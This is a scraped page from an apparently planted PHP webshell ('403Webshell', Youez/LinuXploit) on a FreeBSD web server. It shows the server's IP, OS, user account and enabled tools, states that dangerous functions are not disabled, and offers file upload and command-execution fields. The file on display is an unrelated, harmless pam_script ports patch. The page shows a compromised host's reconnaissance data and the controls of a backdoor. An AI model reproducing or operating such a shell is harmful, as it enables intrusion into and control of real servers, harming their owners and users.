403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/pam_script/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/pam_script/files/patch-etc_pam__script
--- etc/pam_script.orig	2017-08-10 17:20:16 UTC
+++ etc/pam_script
@@ -21,7 +21,7 @@ PAMSCRIPTDIR=${PAMSCRIPTDIR:-$basedir/pam-script.d}
 
 goodperms () {
 	local path="$1"
-	stat_output=`/usr/bin/stat -c "%A:%u:%g" "$path"`
+	stat_output=`/usr/bin/stat -f "%SLp%SMp%SHp:%u:%g" "$path"`
 	if [ $? -ne 0 ]; then
 		echo "$0: Could not stat path $path" 1>&2
 		return 1
@@ -106,13 +106,11 @@ rmlink () {
 	# $4 xpamscript
 
 	if [ x$1 = xlink ]; then
-		(cd $PAMSCRIPTDIR;
-			[ -e $4_$2 ] || [ -e $3 ] && \
+		([ -e $4_$2 ] || [ -e $3 ] && \
 			( [ $verbose = 1 ] && echo ln -s $3 $4_$2;
 			ln -s $3 $4_$2))
 	elif [ x$1 = xremove ]; then
-		(cd $PAMSCRIPTDIR;
-			[ -e $4_$2 ] && \
+		([ -e $4_$2 ] && \
 			( [ $verbose = 1 ] && echo rm -f $4_$2;
 			rm -f $4_$2))
 	fi

Youez - 2016 - github.com/yon3zu
LinuXploit